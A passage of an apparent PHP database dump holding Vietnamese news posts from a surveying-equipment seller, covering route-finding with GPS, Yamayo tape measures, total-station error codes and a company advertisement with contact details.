0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br /> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 